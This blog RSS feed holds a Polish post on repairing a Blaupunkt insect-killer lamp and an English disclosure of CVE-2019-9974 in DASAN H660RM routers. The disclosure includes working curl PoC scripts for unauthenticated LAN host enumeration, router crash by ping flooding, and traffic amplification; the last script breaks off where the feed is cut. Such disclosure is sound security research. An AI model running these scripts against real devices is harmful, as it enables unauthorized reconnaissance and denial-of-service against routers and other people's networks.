<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Krzysztof Burghardt’s blog</title>
	<atom:link href="https://blog.burghardt.pl/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.burghardt.pl</link>
	<description>Create. Break. Fix. Repeat.</description>
	<lastBuildDate>Sat, 06 Jul 2019 01:16:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
<image>
	<url>https://blog.burghardt.pl/wp-content/uploads/2020/09/cropped-512px-Glider.svg_-1-32x32.png</url>
	<title>Krzysztof Burghardt’s blog</title>
	<link>https://blog.burghardt.pl</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04</title>
		<link>https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/</link>
					<comments>https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/#comments</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 00:42:32 +0000</pubDate>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Polish]]></category>
		<category><![CDATA[Blaupunkt]]></category>
		<category><![CDATA[BP-GIK04]]></category>
		<category><![CDATA[DIY]]></category>
		<category><![CDATA[komary]]></category>
		<category><![CDATA[lampa]]></category>
		<category><![CDATA[lampa insektobójcza]]></category>
		<category><![CDATA[lampa owadobójcza]]></category>
		<guid isPermaLink="false">https://blog.burghardt.pl/?p=493</guid>

					<description><![CDATA[<p>Kupiłem lampę insektobójczą Blaupunkt BP-GIK04. I to był błąd. LED INSECT KILLER BP-GIK04 z LED łączy tylko nazwa. Urządzenie wyposażone jest w świetlówkę kompaktową UV. Wyprodukowane zostało w PRC z kilku kawałków tworzywa sztucznego oraz kliku niezbyt solidnie połączonych kabelków. Niestety nie działało. Za pierwszym razem, w dostarczonym urządzeniu działał tylko wentylator. Zostało ono wymienione &#8230; <a href="https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/" class="more-link">Continue reading<span class="screen-reader-text"> "Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04"</span></a></p>
The post <a href="https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/">Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>Kupiłem lampę insektobójczą <a href="https://www.blaupunkt.com/en/nc/products/insect-killer/products/single/18964/" rel="noopener noreferrer" target="_blank">Blaupunkt BP-GIK04</a>. I to był błąd. <strong>LED</strong> INSECT KILLER BP-GIK04 z <a href="https://pl.wikipedia.org/wiki/Dioda_elektroluminescencyjna" rel="noopener noreferrer" target="_blank">LED</a> łączy tylko nazwa. Urządzenie wyposażone jest w <a href="https://pl.wikipedia.org/wiki/Świetlówka_kompaktowa" rel="noopener noreferrer" target="_blank">świetlówkę kompaktową</a> UV. Wyprodukowane zostało w <a href="https://pl.wikipedia.org/wiki/PRC" rel="noopener noreferrer" target="_blank">PRC</a> z kilku kawałków tworzywa sztucznego oraz kliku niezbyt solidnie połączonych kabelków. Niestety nie działało. Za pierwszym razem, w dostarczonym urządzeniu działał tylko wentylator. Zostało ono wymienione przez sprzedawcę na kolejne, równie niedziałające urządzenie. W drugim egzemplarzu nie działała ani świetlówka, ani wentylator.</p>
<p><span id="more-493"></span></p>
<h2>Instrukcja kłamie</h2>
<p>Gdy coś nie działa zaczynamy od instrukcji obsługi.</p>
<p><img decoding="async" fetchpriority="high" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/instrukcja.jpg" alt="Instrukcja obsługi" width="600" height="800" class="alignnone size-full wp-image-495" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/instrukcja.jpg 600w, https://blog.burghardt.pl/wp-content/uploads/2019/07/instrukcja-225x300.jpg 225w, https://blog.burghardt.pl/wp-content/uploads/2019/07/instrukcja-113x150.jpg 113w, https://blog.burghardt.pl/wp-content/uploads/2019/07/instrukcja-400x533.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Co mówi instrukcja na temat usterek?</p>
<p><img decoding="async" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/usunac_urzadzenie.jpg" alt="" width="796" height="414" class="alignnone size-full wp-image-506" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/usunac_urzadzenie.jpg 796w, https://blog.burghardt.pl/wp-content/uploads/2019/07/usunac_urzadzenie-300x156.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/usunac_urzadzenie-768x399.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/usunac_urzadzenie-150x78.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/usunac_urzadzenie-400x208.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Nienaprawialne. Wyrzucić. Albo lampa, albo płytka z elektroniką (<a href="https://pl.wikipedia.org/wiki/Płytka_drukowana">PCB</a>). Obie niewymienialne. Może to tylko polska wersja?</p>
<p><img decoding="async" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/scrap_the_appliance.jpg" alt="" width="800" height="372" class="alignnone size-full wp-image-505" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/scrap_the_appliance.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/scrap_the_appliance-300x140.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/scrap_the_appliance-768x357.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/scrap_the_appliance-150x70.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/scrap_the_appliance-400x186.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Niestety.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/nie_mozna_wymienić_swietlowki.jpg" alt="" width="767" height="203" class="alignnone size-full wp-image-504" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/nie_mozna_wymienić_swietlowki.jpg 767w, https://blog.burghardt.pl/wp-content/uploads/2019/07/nie_mozna_wymienić_swietlowki-300x79.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/nie_mozna_wymienić_swietlowki-150x40.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/nie_mozna_wymienić_swietlowki-400x106.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Świetlówki też nie wymienisz. A w ogóle to stracisz gwarancję, a użytkowanie nie będzie już tak bezpieczne jak kiedyś.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/bezpieczenstwo.jpg" alt="" width="800" height="117" class="alignnone size-full wp-image-503" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/bezpieczenstwo.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/bezpieczenstwo-300x44.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/bezpieczenstwo-768x112.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/bezpieczenstwo-150x22.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/bezpieczenstwo-400x59.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Zwracam zatem przedmiot sprzedawcy, a ten wysyła mi kolejny. Sprawdzony i w 100% sprawny.</p>
<h2>Drugie urządzenie</h2>
<p>Drugiego dnia, licząc od odesłania niesprawnego egzemplarza, otrzymuję przesyłkę z drugim urządzeniem. Podłączam. Świetlówka nie działa, a wentylator&#8230; też nie działa.</p>
<p>Dzwonię do sprzedawcy i mówię mu, że TO DRUGIE TEŻ MI NIE DZIAŁA! Sprzedawca informuje, że jeszcze wczoraj działało. Było sprawdzone przed włożeniem do pudełka i naklejeniem etykiety. Obaj zgadzamy się tylko w jednej kwestii &#8211; że TO DZIWNE. Sprzedawcę z <a href="https://allegro.pl/uzytkownik/audio-cars_compl" rel="noopener noreferrer" target="_blank">audio-cars.com.pl</a> szczerze polecam. Sam zadzwonił, gdy napisałem mu wiadomość, że lampa nie działa. Upewnił się, że wiem, gdzie jest włącznik. Szybko wysłał drugą sztukę.</p>
<p>Niby mogę i tę lampę odesłać. Ale tego już próbowałem. Jeśli jeszcze wczoraj było sprawne, a dziś już nie jest, to albo w transporcie rozpadło się to PCB, albo uszkodziła się świetlówka. Ale silnik wentylatora by pracował, jak w pierwszej sztuce. Czyli elektronika. Ta niewymienialna.</p>
<p>Są wkręty, więc można rozmontować. Pierwszy przy włączniku. Pięć pozostałych na obwodzie górnej pokrywy. Wykręcone. Obudowa zdjęta. Ale gdzie jest ta elektronika?</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/gdzie_jest_pcb.jpg" alt="" width="800" height="600" class="alignnone size-full wp-image-510" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/gdzie_jest_pcb.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/gdzie_jest_pcb-300x225.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/gdzie_jest_pcb-768x576.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/gdzie_jest_pcb-150x113.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/gdzie_jest_pcb-400x300.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>NIE MA. To urządzenie nie ma żadnego PCB (ok, w świetlówce kompaktowej pewnie coś jest). Przewody są spięte na pająka za pomocą tulejek zaciskowych, a z jednej z nich, wysuwając się nieśmiało, macha do mnie wesoło, miedzianą rączką, przewód fazowy idący od włącznika. To pewnie dlatego w instrukcji napisali, że przed otwieraniem należy odłączyć urządzenie od sieci zasilającej.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/luzna_faza.jpg" alt="" width="800" height="600" class="alignnone size-full wp-image-511" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/luzna_faza.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/luzna_faza-300x225.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/luzna_faza-768x576.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/luzna_faza-150x113.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/luzna_faza-400x300.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Aby usunąć tuleję zaciskową wystarczy za nią pociągnąć. Pozostałe przewody wysuwają się bez żadnego oporu.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/wyjete_przewody.jpg" alt="" width="800" height="600" class="alignnone size-full wp-image-512" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/wyjete_przewody.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/wyjete_przewody-300x225.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/wyjete_przewody-768x576.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/wyjete_przewody-150x113.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/wyjete_przewody-400x300.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Drugą tuleją wystarczy mocno potrząsnąć i wszystkie przewody mamy już luźno zwisające. Taki sposób montażu wyjaśnia dlaczego urządzenie przed transportem działało, a po przeturlaniu się przez sortownię firmy kurierskiej, już nie działa. Wstrząsy doprowadziły do powypadania przewodów. Prawdopodobnie w pierwszej sztuce wyleciał przewód idący do&#8230; oprawki E27. Bo świetlówka jest wkręcona w oprawkę i jak najbardziej można ją wymienić. Wystarczy odkręcić wkręt zabezpieczający osłonę oprawki, przekręcić osłonę, tak jak otwiera się pojemnik na insekty i usunąć osłonę. Następnie można zwyczajnie wykręcić starą i wkręcić nową, świetlówkę, w oprawkę. I wymienione. Choć &#8211; zgodnie z instrukcją &#8211; niewymienialne.</p>
<h2>Lutowanie</h2>
<p>Cała naprawa sprowadza się do poprawnego połączenia przewodów.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/skrecic.jpg" alt="" width="800" height="600" class="alignnone size-full wp-image-514" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/skrecic.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/skrecic-300x225.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/skrecic-768x576.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/skrecic-150x113.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/skrecic-400x300.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Skręcić.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/zlutowac.jpg" alt="" width="800" height="600" class="alignnone size-full wp-image-516" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/zlutowac.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zlutowac-300x225.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zlutowac-768x576.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zlutowac-150x113.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zlutowac-400x300.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Zlutować.</p>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/zaizolowac.jpg" alt="" width="800" height="600" class="alignnone size-full wp-image-515" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/zaizolowac.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zaizolowac-300x225.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zaizolowac-768x576.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zaizolowac-150x113.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/zaizolowac-400x300.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Zaizolować.</p>
<h2>I świeci!</h2>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/swieci.jpg" alt="" width="600" height="800" class="alignnone size-full wp-image-517" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/swieci.jpg 600w, https://blog.burghardt.pl/wp-content/uploads/2019/07/swieci-225x300.jpg 225w, https://blog.burghardt.pl/wp-content/uploads/2019/07/swieci-113x150.jpg 113w, https://blog.burghardt.pl/wp-content/uploads/2019/07/swieci-400x533.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<h2>Żale końcowe</h2>
<p>Urządzenie, choć nie tanie, wykonane jest naprawdę tanio. Żadnej elektroniki, silnika BLDC, czy diod LED UV (wbrew nazwie i informacji na stronie producenta). Oprawka E27, włącznik kołyskowy, silnik na 230V i krótki kawałek przewodu zasilającego. Szału nie ma. Żeby chociaż działało po wyjęciu z pudełka.</p>
<p>Natomiast łączenie w tulejce drutu miedzianego z aluminiowym i miedzianą linką, to już tańsza forma chińskiego druciarstwa.</p>
<h2>Po naprawie: Czy to działa?</h2>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/insekty.jpg" alt="" width="600" height="800" class="alignnone size-full wp-image-521" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/insekty.jpg 600w, https://blog.burghardt.pl/wp-content/uploads/2019/07/insekty-225x300.jpg 225w, https://blog.burghardt.pl/wp-content/uploads/2019/07/insekty-113x150.jpg 113w, https://blog.burghardt.pl/wp-content/uploads/2019/07/insekty-400x533.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /> <img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/pojemnik.jpg" alt="" width="600" height="800" class="alignnone size-full wp-image-520" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/pojemnik.jpg 600w, https://blog.burghardt.pl/wp-content/uploads/2019/07/pojemnik-225x300.jpg 225w, https://blog.burghardt.pl/wp-content/uploads/2019/07/pojemnik-113x150.jpg 113w, https://blog.burghardt.pl/wp-content/uploads/2019/07/pojemnik-400x533.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Komary zdają się nie posiadać z radości, że naprawiłem lampę i zajmują najlepsze miejsca na lampie i w jej pojemniku.</p>
<h2>Prawa autorskie ;-)</h2>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/prawa_autorskie.jpg" alt="" width="800" height="239" class="alignnone size-full wp-image-524" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/prawa_autorskie.jpg 800w, https://blog.burghardt.pl/wp-content/uploads/2019/07/prawa_autorskie-300x90.jpg 300w, https://blog.burghardt.pl/wp-content/uploads/2019/07/prawa_autorskie-768x229.jpg 768w, https://blog.burghardt.pl/wp-content/uploads/2019/07/prawa_autorskie-150x45.jpg 150w, https://blog.burghardt.pl/wp-content/uploads/2019/07/prawa_autorskie-400x120.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Autorom instrukcji przypominam o <a href="https://pl.wikipedia.org/wiki/Dozwolony_użytek_prywatny" rel="noopener noreferrer" target="_blank">dozwolonym użytku prywatnym</a> i <a href="https://pl.wikipedia.org/wiki/Dozwolony_użytek_publiczny" rel="noopener noreferrer" target="_blank">publicznym.</a> Wszystkie fragmenty instrukcji przytoczono zgodnie z <a href="https://pl.wikipedia.org/wiki/Prawo_cytatu_(Polska)" rel="noopener noreferrer" target="_blank">prawem cytatu</a> w celu wyjaśniania (że to kłamstwa), polemiki (z tymi bzdurami) i analizy krytycznej. Miejscami nawet bardzo krytycznej.</p>
<h2>Enjoy it!</h2>
<p><img decoding="async" loading="lazy" src="https://blog.burghardt.pl/wp-content/uploads/2019/07/enjoy_it.jpg" alt="" width="600" height="800" class="alignnone size-full wp-image-527" srcset="https://blog.burghardt.pl/wp-content/uploads/2019/07/enjoy_it.jpg 600w, https://blog.burghardt.pl/wp-content/uploads/2019/07/enjoy_it-225x300.jpg 225w, https://blog.burghardt.pl/wp-content/uploads/2019/07/enjoy_it-113x150.jpg 113w, https://blog.burghardt.pl/wp-content/uploads/2019/07/enjoy_it-400x533.jpg 400w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px" /></p>
<p>Instrukcja zapewnia jedynie ochronę blatu biurka podczas lutowania. Enjoy it.</p>The post <a href="https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/">Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks</title>
		<link>https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/</link>
					<comments>https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/#comments</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Mon, 18 Mar 2019 14:09:37 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[DASAN]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[GPON]]></category>
		<category><![CDATA[H660RM]]></category>
		<category><![CDATA[ONT]]></category>
		<category><![CDATA[ping]]></category>
		<guid isPermaLink="false">https://blog.burghardt.pl/?p=476</guid>

					<description><![CDATA[<p>diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to device enumeration on LAN interface and DoS attacks against both device and network. CWE-862: Missing Authorization weakness in diag_tool.cgi allows remote attacker to spawn ping (and traceroute) processes on affected devices without authorization. Moreover similar bug in diag_get_result.cgi &#8230; <a href="https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/" class="more-link">Continue reading<span class="screen-reader-text"> "diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks"</span></a></p>
The post <a href="https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/">diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p><em>diag_tool.cgi</em> on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to device enumeration on LAN interface and DoS attacks against both device and network.</p>
<p><a href="https://cwe.mitre.org/data/definitions/862.html" rel="noopener noreferrer" target="_blank">CWE-862: Missing Authorization</a> weakness in <em>diag_tool.cgi</em> allows remote attacker to spawn ping (and traceroute) processes on affected devices without authorization. Moreover similar bug in <em>diag_get_result.cgi</em> allows attacker to retrieve command output. Arbitrary command injection using ; or ` (back ticks) does not seems to work (which make this different than <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-10561" rel="noopener noreferrer" target="_blank">CVE-2018-10561</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-17869" rel="noopener noreferrer" target="_blank">CVE-2018-17869</a>).</p>
<p>This vulnerability was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-9974" rel="noopener noreferrer" target="_blank">CVE-2019-9974</a>.</p>
<p><span id="more-476"></span></p>
<h2>Information disclosure</h2>
<p>Remote attacker could enumerate hosts on LAN interface sending requests to <em>/cgi-bin/diag_tool.cgi</em> with <em>ip</em> parameter set to target IP address. Lack of authorization in <em>/cgi-bin/diag_get_result.cgi</em> allow retrieval of results. Each call to <em>diag_get_result.cgi</em> retrieves one line of ping (or traceroute) output. The only argument is line number. Lines 1-4 are reserved for diagnostic interface PASS/FAIL reporting and should be ignored. <strong>$1</strong> is vulnerable router. <strong>$2</strong> is target device.</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
curl <span style="color: #660033;">-k</span> <span style="color: #ff0000;">&quot;http://$1/cgi-bin/diag_tool.cgi?ip=$2&amp;cmd=ping&amp;c=3&amp;s=1&amp;e=1&amp;f=1&amp;g=1&quot;</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">10</span><br />
<br />
<span style="color: #000000; font-weight: bold;">for</span> LINENO <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">5</span> <span style="color: #000000;">15</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; curl <span style="color: #660033;">-k</span> <span style="color: #ff0000;">&quot;http://$1/cgi-bin/diag_get_result.cgi?a=<span style="color: #007800;">$LINENO</span>&quot;</span> <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000; font-weight: bold;">|</span> \<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'s/\n//g'</span><br />
<span style="color: #000000; font-weight: bold;">done</span></div></div>
<h2>Denial of service against device</h2>
<p>Same CGI script has another weakness, <a href="https://cwe.mitre.org/data/definitions/400.html" rel="noopener noreferrer" target="_blank">CWE-400: Uncontrolled Resource Consumption</a>, which allows memory memory exhaustion Denial of Service (DoS) attack against device. Around 170 spawned ping processes is enough to cause crash and reboot of router. PoC follows.</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">0</span> <span style="color: #000000;">200</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$I</span><br />
&nbsp; &nbsp; curl <span style="color: #660033;">-k</span> -m0.1 <span style="color: #ff0000;">&quot;http://$1/cgi-bin/diag_tool.cgi?ip=$2&amp;cmd=ping&amp;c=999999&amp;s=1&amp;e=1&amp;f=1&amp;g=1&quot;</span><br />
<span style="color: #000000; font-weight: bold;">done</span></div></div>
<h2>Traffic reflection and amplification</h2>
<p>As <em>diag_tool.cgi</em> does not enforce any limits on ping command arguments, so attacker can easily combine large <strong>c</strong> parameter (number of packets) with maximal <strong>s</strong> parameter (size of single ICMP message). This makes DASAN device great traffic amplifier where single HTTP GET call can reflect 999999999*65507 bytes to target. Theoretical amplification is <strong>about 65TB</strong> (ICMP message len * 999&#8230;) for each ~2kB GET request. Pretty amazing comparing to <a href="https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/" rel="noopener noreferrer" target="_blank">memcached amplification</a> (up to 1MB of response per request) or <a href="https://blog.cloudflare.com/ssdp-100gbps/" rel="noopener noreferrer" target="_blank">SSDP amplification</a> (up to 26x bandwidth amplification).</p>
<p>As ping sends one packet per second and up to 150 simultaneous ping processes could be spawned without risking device crash theoretical ICMP traffic is 65507*150 bytes per second (or ~9MB/s or <strong>72 Mbps</strong>).</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">0</span> <span style="color: #000000;">150</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span><br />
